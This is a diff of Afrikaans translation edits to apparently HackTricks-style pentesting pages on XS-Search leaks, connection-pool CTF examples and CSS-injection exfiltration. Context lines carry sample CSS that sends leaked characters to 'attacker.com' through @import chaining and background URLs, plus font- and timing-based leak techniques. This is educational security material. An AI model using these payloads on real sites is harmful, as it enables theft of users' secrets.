 Omdat toegang tot die cache vinniger is as om 'n hulpbron te laai, is dit moontlik om te probeer om die ligging van 'n bladsy te verander en dit 20ms (byvoorbeeld) daarna te kanselleer. As die oorsprong na die stop verander is, beteken dit dat die hulpbron in die cache was.\
-Of jy kan net **'n paar fetch na die potensieel gegewe cache bladsy stuur en die tyd meet wat dit neem**.
+Of kan net **'n paar fetch na die potensieel gecachede bladsy stuur en die tyd meet wat dit neem**.
 
 ### Handmatige Oorleiding <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
 
@@ -799,7 +649,7 @@ Gebruik _**fetch**_ en _**setTimeout**_ met 'n **AbortController** om beide te d
 - **Insluitingsmetodes**: HTML Elemente (script)
 - **Waarneembare Verskil**: Bladsy Inhoud
 - **Meer inligting**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
-- **Opsomming:** Dit is moontlik om **ingeboude funksies te oorskry** en hul argumente te lees, selfs van **cross-origin skrip** (wat nie direk gelees kan word nie), dit kan **waardevolle inligting lek**.
+- **Opsomming:** Dit is moontlik om **ingeboude funksies te oorskry** en hul argumente te lees, selfs van **cross-origin skripte** (wat nie direk gelees kan word nie), dit kan **waardevolle inligting lek**.
 - **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
 
 ### Dienswerkers <a href="#service-workers" id="service-workers"></a>
@@ -810,9 +660,9 @@ Gebruik _**fetch**_ en _**setTimeout**_ met 'n **AbortController** om beide te d
 - **Opsomming:** Meet die uitvoeringstyd van 'n web met behulp van dienswerkers.
 - **Kode Voorbeeld**:
 
-In die gegewe scenario neem die aanvaller die inisiatief om 'n **dienswerker** binne een van hul domeine, spesifiek "attacker.com", te registreer. Vervolgens open die aanvaller 'n nuwe venster in die teikenwebwerf vanaf die hoofdokument en gee die **dienswerker** opdrag om 'n timer te begin. Soos die nuwe venster begin laai, navigeer die aanvaller die verwysing wat in die vorige stap verkry is na 'n bladsy wat deur die **dienswerker** bestuur word.
+In die gegewe scenario neem die aanvaller die inisiatief om 'n **dienswerker** binne een van hul domeine, spesifiek "attacker.com", te registreer. Vervolgens open die aanvaller 'n nuwe venster in die teikenwebwerf vanaf die hoofdokument en gee die **dienswerker** opdrag om 'n timer te begin. Terwyl die nuwe venster begin laai, navigeer die aanvaller die verwysing wat in die vorige stap verkry is na 'n bladsy wat deur die **dienswerker** bestuur word.
 
-By die aankoms van die versoek wat in die vorige stap inisieer is, antwoord die **dienswerker** met 'n **204 (No Content)** statuskode, wat die navigasieproses effektief beëindig. Op hierdie punt vang die **dienswerker** 'n meting van die timer wat vroeër in stap twee begin is. Hierdie meting word beïnvloed deur die duur van JavaScript wat vertragings in die navigasieproses veroorsaak.
+By die aankoms van die versoek wat in die vorige stap inisieer is, reageer die **dienswerker** met 'n **204 (No Content)** statuskode, wat effektief die navigasieproses beëindig. Op hierdie punt vang die **dienswerker** 'n meting van die timer wat vroeër in stap twee begin is. Hierdie meting word beïnvloed deur die duur van JavaScript wat vertragings in die navigasieproses veroorsaak.
 
 > [!WARNING]
 > In 'n uitvoeringstyd is dit moontlik om **netwerkfaktore** te **elimineer** om **meer presiese metings** te verkry. Byvoorbeeld, deur die hulpbronne wat deur die bladsy gebruik word, te laai voordat dit gelaai word.
@@ -822,7 +672,7 @@ By die aankoms van die versoek wat in die vorige stap inisieer is, antwoord die
 - **Insluitingsmetodes**: Fetch API
 - **Waarneembare Verskil**: Tyd (generally due to Page Content, Status Code)
 - **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
-- **Opsomming:** Gebruik [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) om die tyd te meet wat dit neem om 'n versoek te doen. Ander horlosies kan gebruik word.
+- **Opsomming:** Gebruik [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) om die tyd te meet wat dit neem om 'n versoek uit te voer. Ander horlosies kan gebruik word.
 - **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
 
 ### Cross-Window Tyd
@@ -830,15 +680,15 @@ By die aankoms van die versoek wat in die vorige stap inisieer is, antwoord die
 - **Insluitingsmetodes**: Pop-ups
 - **Waarneembare Verskil**: Tyd (generally due to Page Content, Status Code)
 - **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
-- **Opsomming:** Gebruik [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) om die tyd te meet wat dit neem om 'n versoek te doen met `window.open`. Ander horlosies kan gebruik word.
+- **Opsomming:** Gebruik [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) om die tyd te meet wat dit neem om 'n versoek uit te voer met `window.open`. Ander horlosies kan gebruik word.
 - **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
 
 
 ## Met HTML of Herinplanting
 
-Hier kan jy tegnieke vind om inligting uit 'n cross-origin HTML **te injecteer**. Hierdie tegnieke is interessant in gevalle waar jy om enige rede **HTML kan injecteer maar nie JS-kode kan injecteer nie**.
+Hier kan jy tegnieke vind om inligting uit 'n cross-origin HTML **te injecteer**. Hierdie tegnieke is interessant in gevalle waar jy om enige rede **HTML kan injecteer maar nie JS kode kan injecteer nie**.
 
-### Hangende Merk
+### Hangende Merkup
 
 {{#ref}}
 ../dangling-markup-html-scriptless-injection/
@@ -846,15 +696,15 @@ Hier kan jy tegnieke vind om inligting uit 'n cross-origin HTML **te injecteer**
 
 ### Beeld Luie Laai
 
-As jy **inhoud moet uitlek** en jy kan **HTML voor die geheim byvoeg**, moet jy die **gewone hangende merk tegnieke** nagaan.\
+As jy **inhoud moet uitlek** en jy kan **HTML voor die geheim byvoeg**, moet jy die **gewone hangende merkup tegnieke** nagaan.\
 As jy egter om enige rede **MOET** dit **karakter vir karakter** doen (miskien is die kommunikasie via 'n cache hit), kan jy hierdie truuk gebruik.
 
-**Beelde** in HTML het 'n "**loading**" eienskap waarvan die waarde "**lazy**" kan wees. In daardie geval sal die beeld gelaai word wanneer dit gesien word en nie terwyl die bladsy laai nie:
+**Beelde** in HTML het 'n "**loading**" attribuut waarvan die waarde "**lazy**" kan wees. In daardie geval sal die beeld gelaai word wanneer dit gesien word en nie terwyl die bladsy laai nie:
 ```html
 <img src=/something loading=lazy >
 ```
-Daarom kan jy **'n baie groot hoeveelheid rommelkarakters** (Byvoorbeeld **duisende "W"s**) **byvoeg** om die **webbladsy te vul voor die geheim of iets soos** `<br><canvas height="1850px"></canvas><br>.`\
-As ons byvoorbeeld **inspuiting voor die vlag verskyn**, sal die **beeld** **gelaai** word, maar as dit **na** die **vlag** verskyn, sal die vlag + die rommel **voorkom dat dit gelaai word** (jy sal moet speel met hoeveel rommel om te plaas). Dit is wat in [**hierdie skrywe**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) gebeur het.
+Daarom kan jy **'n baie groot hoeveelheid rommelkarakters** (Byvoorbeeld **duisende "W"s**) **byvoeg** om die **webblad te vul voor die geheim of iets soos** `<br><canvas height="1850px"></canvas><br>.`\
+As ons **inspuiting byvoorbeeld voor die vlag verskyn**, sal die **beeld** **gelaai** word, maar as dit **na** die **vlag** verskyn, sal die vlag + die rommel **voorkom dat dit gelaai word** (jy sal moet speel met hoeveel rommel om te plaas). Dit is wat gebeur het in [**hierdie skrywe**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
 
 'n Ander opsie sou wees om die **scroll-to-text-fragment** te gebruik as dit toegelaat word:
 
@@ -874,7 +724,7 @@ Wat hierdie teks sal doen, is om die bot toegang te gee tot enige teks op die bl
 
 ### Beeld Lui Laai Tydgebaseerd
 
-As dit **nie moontlik is om 'n eksterne beeld te laai** wat die aanvaller kan aandui dat die beeld gelaai is nie, kan 'n ander opsie wees om te probeer om **die karakter verskeie kere te raai en dit te meet**. As die beeld gelaai word, sal al die versoeke langer neem as wanneer die beeld nie gelaai word nie. Dit is wat in die [**oplossing van hierdie skrywe**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **samengevat is hier:**
+As dit **nie moontlik is om 'n eksterne beeld te laai nie** wat die aanvaller kan aandui dat die beeld gelaai is, kan 'n ander opsie wees om te probeer om **die karakter verskeie kere te raai en dit te meet**. As die beeld gelaai word, sal al die versoeke langer neem as wanneer die beeld nie gelaai word nie. Dit is wat in die [**oplossing van hierdie skrywe**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **samengevat is hier:**
 
 {{#ref}}
 event-loop-blocking-+-lazy-images.md

src/pentesting-web/xs-search/connection-pool-by-destination-example.md

@@ -13,7 +13,7 @@ Kom ons kyk hoe hierdie uitbuiting werk:
 - Die aanvaller sal 'n nota met soveel **`<img`** etikette **laai** **`/js/purify.js`** as moontlik (meer as 6 om die oorsprong te blokkeer).
 - Dan sal die aanvaller die **nota** met indeks 1 **verwyder**.
 - Dan sal die aanvaller \[die **bot toegang gee tot die bladsy** met die oorblywende nota] en sal 'n **versoek** na **`victim.com/js/purify.js`** stuur wat hy sal **tyd**.&#x20;
-- As die tyd **groter** is, was die **inplanting** in die **nota** wat gelaat is, as die tyd **laer** is, was die **vlag** daar.
+- As die tyd **groter** is, was die **inspuiting** in die **nota** wat gelaat is, as die tyd **laer** is, was die **vlag** daar.
 
 > [!NOTE]
 > Eerlik, terwyl ek die skrif lees, het ek 'n deel gemis waar die **aanvaller die bot laat laai die bladsy om die img etikette te aktiveer**, ek sien niks soos dit in die kode nie.

src/pentesting-web/xs-search/connection-pool-example.md

@@ -13,7 +13,7 @@ In hierdie uitdaging is die doel om 'n vlag te exfiltreer wat in die bots web se
 - Die aanvaller kan 'n CSRF misbruik om die **bot** te laat **verwyder** die **eerste** **pos** binne die web.
 - Omdat die **poste** **alfabeties** georden is, wanneer die **eerste pos verwyder word**, as die **HTML** inhoud van die aanvaller **gelaai** word, beteken dit dat dit **alfabeties voor die vlag** was.
 
-Daarom, om die vlag te steel, is die oplossing wat deur @Strellyc\_ voorgestel word om, **vir elke karakter om te toets** die bot te laat:
+Daarom, om die vlag te steel, is die oplossing wat @Strellyc\_ voorgestel het, om, **vir elke karakter om te toets** die bot te laat:
 
 - 'n **nuwe pos** te skep wat **begin** met die bekende deel van die **vlag** en verskeie **img** **laai**.
 - **Verwyder** die **pos** in posisie **0**.

src/pentesting-web/xs-search/css-injection/README.md

@@ -37,7 +37,7 @@ Vir die CSS-inspuitingstegniek om effektief te wees, moet sekere voorwaardes nag
 
 1. **Payload-lengte**: Die CSS-inspuitingsvektor moet voldoende lang payloads ondersteun om die vervaardigde selektore te akkommodeer.
 2. **CSS-herwaardering**: U moet die vermoë hê om die bladsy te raam, wat nodig is om die herwaardering van CSS met nuutgegenereerde payloads te aktiveer.
-3. **Buitelandse hulpbronne**: Die tegniek neem aan dat die vermoë om buite-gasheerde beelde te gebruik bestaan. Dit kan beperk word deur die webwerf se Inhoudsekuriteitsbeleid (CSP).
+3. **Buitelandse Hulpbronne**: Die tegniek neem aan dat die vermoë om buitelands gehoste beelde te gebruik, bestaan. Dit kan beperk word deur die webwerf se Inhoudsekuriteitsbeleid (CSP).
 
 ### Blind Attribute Selector
 
@@ -67,16 +67,16 @@ In plaas daarvan om dieselfde bladsy herhaaldelik met tientalle verskillende pay
 @import url("//attacker.com:5001/start?");
 ```
 1. Die invoer gaan **'n paar CSS-skrip ontvang** van die aanvallers en die **blaaier sal dit laai**.
-2. Die eerste deel van die CSS-skrip wat die aanvaller sal stuur, is **nog 'n `@import` na die aanvallers bediener weer.**
-1. Die aanvallers bediener sal nog nie op hierdie versoek reageer nie, aangesien ons 'n paar karakters wil lek en dan hierdie invoer met die payload wil beantwoord om die volgende te lek.
+2. Die eerste deel van die CSS-skrip wat die aanvaller sal stuur is **nog 'n `@import` na die aanvallers bediener weer.**
+1. Die aanvallers bediener sal nog nie op hierdie versoek reageer nie, aangesien ons 'n paar karakters wil lek en dan hierdie invoer met die payload wil antwoordgee om die volgende te lek.
 3. Die tweede en groter deel van die payload gaan **'n attribuutkeuse lek payload** wees.
 1. Dit sal die **eerste karakter van die geheim en die laaste een** na die aanvallers bediener stuur.
-4. Sodra die aanvallers bediener die **eerste en laaste karakter van die geheim** ontvang het, sal dit **die invoer wat in stap 2 versoek is, beantwoord**.
+4. Sodra die aanvallers bediener die **eerste en laaste karakter van die geheim** ontvang het, sal dit **die invoer wat in stap 2 versoek is, antwoordgee**.
 1. Die antwoord gaan presies dieselfde wees as die **stappe 2, 3 en 4**, maar hierdie keer sal dit probeer om **die tweede karakter van die geheim en dan die voorlaaste** te vind.
 
 Die aanvaller sal **daardie lus volg totdat dit daarin slaag om die geheim heeltemal te lek**.
 
-Jy kan die oorspronklike [**Pepe Vila se kode om dit te benut hier**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) vind of jy kan amper die [**dieselfde kode maar kommentaar hier**]("./#css-injection") vind.
+Jy kan die oorspronklike [**Pepe Vila se kode om dit hier te benut**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) vind of jy kan amper die [**dieselfde kode maar kommentaar hier vind**.](./#css-injection)
 
 > [!NOTE]
 > Die skrip sal probeer om 2 karakters elke keer te ontdek (van die begin en van die einde) omdat die attribuutkeuse dinge soos die volgende toelaat:
@@ -96,7 +96,7 @@ Jy kan die oorspronklike [**Pepe Vila se kode om dit te benut hier**](https://gi
 > Dit laat die skrip toe om die geheim vinniger te lek.
 
 > [!WARNING]
-> Soms **detecteer die skrip nie korrek dat die voorvoegsel + agtervoegsel ontdek is nie, en dit sal voortgaan (in die voorvoegsel) en agtertoe (in die agtervoegsel) en op 'n sekere punt sal dit hang.**\
+> Soms **detecteer die skrip nie korrek dat die voorvoegsel + agtervoegsel ontdek reeds die volledige vlag is** nie en dit sal vorentoe (in die voorvoegsel) en agtertoe (in die agtervoegsel) voortgaan en op 'n sekere punt sal dit hang.\
 > Moet nie bekommerd wees nie, kyk net na die **uitset** omdat **jy die vlag daar kan sien**.
 
 ### Ander keuses
@@ -114,7 +114,7 @@ background-image: url("YOUR_SERVER_URL?1");
 
 ### Foutgebaseerde XS-Search
 
-**Verwysing:** [CSS-gebaseerde Aanval: Misbruik van unicode-range van @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Foutgebaseerde XS-Search PoC deur @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
+**Verwysing:** [CSS gebaseerde Aanval: Misbruik van unicode-range van @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Foutgebaseerde XS-Search PoC deur @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
 
 Die algehele bedoeling is om **'n pasgemaakte lettertipe van 'n beheerde eindpunt te gebruik** en te verseker dat **teks (in hierdie geval, 'A') slegs met hierdie lettertipe vertoon word as die gespesifiseerde hulpbron (`favicon.ico`) nie gelaai kan word nie**.
 ```html
@@ -170,13 +170,13 @@ Vir versagting moet die volgende punte in ag geneem word:
 
 1. **Beperkte STTF-ooreenstemming**: Scroll-to-text Fragment (STTF) is ontwerp om slegs woorde of sinne te ooreen te stem, wat sy vermoë om arbitrêre geheime of tokens te lek, beperk.
 2. **Beperking tot Top-niveau Blaai-kontekste**: STTF werk slegs in top-niveau blaai-kontekste en funksioneer nie binne iframes nie, wat enige poging tot uitbuiting meer opmerklik vir die gebruiker maak.
-3. **Noodsaaklikheid van Gebruiker-aktivering**: STTF vereis 'n gebruiker-aktiveringsgebaar om te funksioneer, wat beteken dat uitbuitings slegs deur gebruiker-geïnisieerde navigasies moontlik is. Hierdie vereiste verminder aansienlik die risiko dat aanvalle geoutomatiseer word sonder gebruikersinteraksie. Nietemin, die blogpos se skrywer wys op spesifieke toestande en omseilings (bv. sosiale ingenieurswese, interaksie met algemene blaai-uitbreidings) wat die outomatisering van die aanval kan vergemaklik.
+3. **Noodsaaklikheid van Gebruikeraktivering**: STTF vereis 'n gebruiker-aktiveringsgebaar om te funksioneer, wat beteken dat uitbuitings slegs deur gebruiker-geïnisieerde navigasies moontlik is. Hierdie vereiste verminder aansienlik die risiko dat aanvalle geoutomatiseer word sonder gebruikersinteraksie. Nietemin, die blogpos se skrywer wys op spesifieke toestande en omseilings (bv. sosiale ingenieurswese, interaksie met algemene blaai-uitbreidings) wat die outomatisering van die aanval kan vergemaklik.
 
 Bewustheid van hierdie meganismes en potensiële kwesbaarhede is sleutels tot die handhawing van websekuriteit en die beskerming teen sulke uitbuitings taktieke.
 
 Vir meer inligting, kyk na die oorspronklike verslag: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
 
-Jy kan 'n [**uitbuiting wat hierdie tegniek vir 'n CTF gebruik hier**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb) nagaan.
+Jy kan 'n [**uitbuiting wat hierdie tegniek vir 'n CTF gebruik hier**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb) kyk.
 
 ### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
 
@@ -208,7 +208,7 @@ htm
 ```
 Wanneer jy hierdie bladsy toegang, laai Chrome en Firefox "?A" en "?B" omdat die teksnode van sensitiewe-inligting "A" en "B" karakters bevat. Maar Chrome en Firefox laai nie "?C" nie omdat dit nie "C" bevat nie. Dit beteken dat ons in staat was om "A" en "B" te lees.
 
-### Teksnode ekfiltrasie (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
+### Teksnode eksfiltrasie (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
 
 **Verwysing:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
 
@@ -218,7 +218,7 @@ Die tegniek wat beskryf word, behels die onttrekking van teks uit 'n node deur f
 
 - SVG fonts word gemaak met glyphs wat 'n `horiz-adv-x` attribuut het, wat 'n groot breedte vir 'n glyph wat 'n twee-karakter volgorde verteenwoordig, stel.
 - Voorbeeld SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, waar "XY" 'n twee-karakter volgorde aandui.
-- Hierdie fonts word dan na woff-formaat omgeskakel met fontforge.
+- Hierdie fonts word dan na woff-formaat omgeskakel met behulp van fontforge.
 
 2. **Detectie van Breedte Veranderinge**:
 
@@ -241,15 +241,15 @@ background: url(http://attacker.com/?leak);
 
 - **Stap 1**: Fonts word geskep vir pare van karakters met substansiële breedte.
 - **Stap 2**: 'n Scrollbar-gebaseerde truuk word gebruik om te detecteer wanneer die groot breedte glyph (ligature vir 'n karakter paar) gerender word, wat die teenwoordigheid van die karakter volgorde aandui.
-- **Stap 3**: By die opsporing van 'n ligature, word nuwe glyphs wat drie-karakter volgordes verteenwoordig, gegenereer, wat die opgespoorde paar insluit en 'n voorafgaande of opvolgende karakter byvoeg.
+- **Stap 3**: By die opsporing van 'n ligature, nuwe glyphs wat drie-karakter volgordes verteenwoordig, word gegenereer, wat die opgespoorde paar insluit en 'n voorafgaande of opvolgende karakter byvoeg.
 - **Stap 4**: Opsporing van die drie-karakter ligature word uitgevoer.
 - **Stap 5**: Die proses herhaal, wat progressief die hele teks onthul.
 
 4. **Optimalisering**:
-- Die huidige inisialisering metode wat `<meta refresh=...` gebruik, is nie optimaal nie.
-- 'n Meer doeltreffende benadering kan die CSS `@import` truuk insluit, wat die prestasie van die eksploitasie verbeter.
+- Die huidige inisialisasiemetode wat `<meta refresh=...` gebruik, is nie optimaal nie.
+- 'n Meer doeltreffende benadering kan die CSS `@import` truuk insluit, wat die prestasie van die eksploits verbeter.
 
-### Teksnode ekfiltrasie (II): lek die charset met 'n standaard font (nie eksterne bates benodig nie) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
+### Teksnode eksfiltrasie (II): lek die charset met 'n standaard font (nie eksterne bates benodig nie) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
 **Verwysing:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
 
@@ -279,7 +279,7 @@ Alhoewel hierdie metode die opsporing van unieke karakters toelaat soos hulle ve
 
 > [!NOTE]
 > Basies, die **unicode-range word gebruik om 'n char te detecteer**, maar aangesien ons nie 'n eksterne font wil laai nie, moet ons 'n ander manier vind.\
-> Wanneer die **char** **gevind** word, word dit die vooraf geïnstalleerde **Comic Sans font** gegee, wat die char **groter** maak en 'n **scroll bar** aktiveer wat die **gevonde char** sal **lek**.
+> Wanneer die **char** **gevind** word, word dit die vooraf geïnstalleerde **Comic Sans font** gegee, wat die char **groter** maak en **'n scroll bar aktiveer** wat die **gevonde char lek**.
 
 Kontroleer die kode wat uit die PoC onttrek is:
 ```css
@@ -710,7 +710,7 @@ background: blue var(--leak);
 
 **Verwysing:** Dit word genoem as [‘n onsuksesvolle oplossing in hierdie skrywe](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
 
-Hierdie geval is baie soortgelyk aan die vorige een, egter, in hierdie geval is die doel om spesifieke **karakters groter as ander te maak om iets te verberg** soos 'n knoppie wat nie deur die bot gedruk moet word nie of 'n beeld wat nie gelaai sal word nie. So ons kan die aksie (of die gebrek aan aksie) meet en weet of 'n spesifieke karakter teenwoordig is binne die teks.
+Hierdie geval is baie soortgelyk aan die vorige een, egter, in hierdie geval is die doel om spesifieke **karakters groter as ander te maak om iets** soos 'n knoppie te verberg sodat dit nie deur die bot gedruk word nie of 'n beeld wat nie gelaai sal word nie. So ons kan die aksie (of die gebrek aan aksie) meet en weet of 'n spesifieke karakter teenwoordig is binne die teks.
 
 ### Tekstnode eksfiltrasie (III): lek die karakterstel deur cache tydsberekening (nie eksterne bates benodig nie) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
@@ -728,7 +728,7 @@ As daar 'n ooreenkoms is, sal die **font gelaai word vanaf `/static/bootstrap.mi
 
 As die tydsverskil van die gekaste antwoord van die nie-gekasde een nie groot genoeg is nie, sal dit nie nuttig wees nie. Byvoorbeeld, die outeur het genoem: egter, na toetsing, het ek gevind dat die eerste probleem is dat die spoed nie baie verskil nie, en die tweede probleem is dat die bot die `disk-cache-size=1` vlag gebruik, wat regtig deurdagte is.
 
-### Tekstnode eksfiltrasie (III): die charset lek deur die tyd wat dit neem om honderde plaaslike "fonts" te laai (wat nie eksterne bates vereis nie) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
+### Tekstnode eksfiltrasie (III): die charset lek deur die tyd te neem om honderde plaaslike "fonts" te laai (wat nie eksterne bates vereis nie) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
 **Verwysing:** Dit word genoem as [‘n onsuksesvolle oplossing in hierdie skrywe](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
 
@@ -741,13 +741,13 @@ src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
 unicode-range: U+0041;
 }
 ```
-En die kode van die bot lyk soos volg:
+En die bot se kode lyk soos volg:
 ```python
 browser.get(url)
 WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
 time.sleep(30)
 ```
-So, as die lettertipe nie ooreenstem nie, word die reaksietyd wanneer jy die bot besoek, verwag om ongeveer 30 sekondes te wees. As daar egter 'n lettertipe ooreenstemming is, sal verskeie versoeke gestuur word om die lettertipe te verkry, wat die netwerk sal laat voortgaan met aktiwiteit. As gevolg hiervan sal dit langer neem om die stopvoorwaarde te bevredig en die reaksie te ontvang. Daarom kan die reaksietyd as 'n aanduiding gebruik word om te bepaal of daar 'n lettertipe ooreenstemming is.
+So, as die lettertipe nie ooreenstem nie, word die reaksietyd wanneer die bot besoek word, verwag om ongeveer 30 sekondes te wees. As daar egter 'n lettertipe ooreenstemming is, sal verskeie versoeke gestuur word om die lettertipe te verkry, wat veroorsaak dat die netwerk deurlopende aktiwiteit het. As gevolg hiervan sal dit langer neem om die stopvoorwaarde te bevredig en die reaksie te ontvang. Daarom kan die reaksietyd as 'n aanduiding gebruik word om te bepaal of daar 'n lettertipe ooreenstemming is.
 
 ## References